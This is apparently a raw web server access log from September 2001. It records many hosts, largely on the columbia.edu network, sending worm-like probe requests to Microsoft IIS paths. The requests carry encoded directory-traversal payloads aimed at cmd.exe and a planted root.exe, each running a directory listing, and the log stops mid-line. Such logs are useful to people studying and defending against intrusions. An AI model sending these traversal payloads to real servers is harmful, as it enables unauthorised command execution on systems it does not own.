[128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:22:32: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:22:32: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:32: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:34: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:34: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:34: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:22:34: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:26:11: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:26:11: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:12: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:12: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:12: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:13: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:13: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:13: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:14: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:14: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:14: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:15: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:15: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:15: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:16: PCWI216.UNI-MUENSTER.DE [128.176.159.116] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:26:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:27:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:27:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:31:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:31:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:31:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:33:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:33:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:33:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:35:29: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:35:29: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:29: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:30: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:31: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:31: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:31: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:31: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:35:31: [61.183.125.139] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:36:18: [61.183.125.139] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:36:37: [61.183.125.139] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:36:56: [61.183.125.139] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:37:15: [61.183.125.139] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:37:34: [61.183.125.139] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:37:52: [61.183.125.139] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:38:11: [61.183.125.139] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:38:31: [61.183.125.139] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:38:49: [61.183.125.139] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:39:08: mail.hitc.co.kr [128.134.20.4] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:08: mail.hitc.co.kr [128.134.20.4] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:09: mail.hitc.co.kr [128.134.20.4] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:09: mail.hitc.co.kr [128.134.20.4] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:10: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:10: mail.hitc.co.kr [128.134.20.4] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:11: mail.hitc.co.kr [128.134.20.4] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:11: mail.hitc.co.kr [128.134.20.4] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:12: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:12: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:13: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:13: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:14: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:14: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:15: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:15: mail.hitc.co.kr [128.134.20.4] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:41:16: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:42:55: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:42:55: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:56: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:57: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:57: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:57: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:58: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:58: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:59: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:59: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:59: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:44:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:44:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 